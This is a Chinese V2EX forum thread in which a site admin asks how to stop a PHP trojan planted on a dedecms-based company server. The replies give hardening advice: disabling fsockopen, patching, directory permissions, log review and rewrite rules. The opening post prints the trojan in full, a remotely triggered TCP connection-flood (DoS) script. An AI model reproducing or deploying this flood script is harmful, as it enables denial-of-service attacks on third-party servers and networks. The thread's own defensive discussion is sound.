中了php木马,怎么防范?

2014-01-20 16:44:11 +08:00
 pc10201
我在iptables加了规则禁用了php木马对外发udp数据,但现在有木马发tcp数据包,然后服务器带宽就卡死了~

php木马如下:
<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_REQUEST['ip'];
$port = $_REQUEST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_REQUEST['time'];
$time = time();
print "状态 : 正常运行中.....<br>";
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
}
echo "================================================<br>";
echo " <font color=blue>www.baidu.com<br>";
echo " SYN Flood 模块<br>";
echo " 作者:ybhacker<br>";
echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>";
echo "================================================<br><br>";
echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>";
echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

如何防范,在不禁用任何php函数的情况下?
4156 次点击
所在节点    Linux
18 条回复
shiny
2014-01-20 16:46:25 +08:00
又要想防范木马又要想不禁用函数,那只能补上你破程序的漏洞。其实禁用 fsockopen、ignore_user_abort也没什么的吧。
fucker
2014-01-20 16:46:27 +08:00
好屌的flood attacker
mahone3297
2014-01-20 16:51:02 +08:00
这个怎么攻击了?没谈看懂。。。就while 1 了下,然后++packets,最后再fsockopen,其他好像没什么东西。。。
Actrace
2014-01-20 16:55:28 +08:00
那就禁TCP呗~
sarices
2014-01-20 17:18:44 +08:00
检查一下自己的程序漏洞,分析一下日志看看漏洞在哪里?是不是多个网站公用主机?有没有限制PHP访问路径限定在网站根目录下面,如果没有限制可能是其他网站的漏洞导致的
Kvm
2014-01-20 17:36:58 +08:00
在php.ini里面禁用下函数
judasnow
2014-01-20 18:36:11 +08:00
如果是 用的 apache php_mod 就删除 php cgi 可执行文件就行了。
judasnow
2014-01-20 18:38:29 +08:00
仔细看了下 我收回我说的话。。。。
judasnow
2014-01-20 18:43:50 +08:00
我觉得
1 可以在 apache(或其他web服务器)上过滤请求参数 ,因为似乎他是 通过 带$ip,$port这两个参数的远程请求 触发这个脚本的。
2 可以删除这个脚本的可执行权限。

不过我还是困惑于 这个文件是怎么跑到你的服务器上的?
VYSE
2014-01-20 20:00:27 +08:00
建议你还是给项目文件顶起做DIFF比较吧,然后查LOG找漏洞,都传马上去了,封函数有毛用,把他惹火了一个命令全删了。
pc10201
2014-01-20 20:15:03 +08:00
@sarices 公司的网站,用的dedecms
shiny
2014-01-20 20:17:53 +08:00
@pc10201 哈哈哈又见 dedecms。dede 的话你首先把补丁打上,然后把不需要的文件全部删除,然后针对不同的目录做权限设置,比如 data 目录就不能执行 php,include 目录禁止写入。
基本就能保平安了。
letitbesqzr
2014-01-20 20:20:41 +08:00
dedecms...删后台吧,生成html传上去。
konakona
2014-01-20 20:39:45 +08:00
检测下类似的php命名文件,以及非法的jpg等图片格式的文件。
加强服务器配置(php.ini)。

一个专业的程序员运维做好后,基本可以不依赖硬件防火墙,最重要的是运维这关卡的好不好。
thinkxen
2014-01-20 20:55:19 +08:00
禁用掉fsockopen就不会发包了,不过木马者可能还会用pfsockopen来继续发包,你可以继续禁用pfsockopen。
但是这样虽然无法发包,但是会大量占用CPU,造成系统负载升高。
唯一彻底的方法就是别用DEDECMS,珍爱生命,远离织梦。
xiaobu
2014-01-21 10:43:31 +08:00
@shiny 禁用 fsockopen,如果是论坛有个邮件认证注册的功能就失效了,导致无法用户注册
pc10201
2014-01-21 10:52:02 +08:00
@VYSE 谢谢,我通过nginx写了一些rewrite规则基本可以禁用一些简单的木马了~
wezzard
2014-01-22 08:50:53 +08:00
楼主可以考虑起诉木马作者,估计传木马的人也是直接复制粘贴的别人的代码。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/97722

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX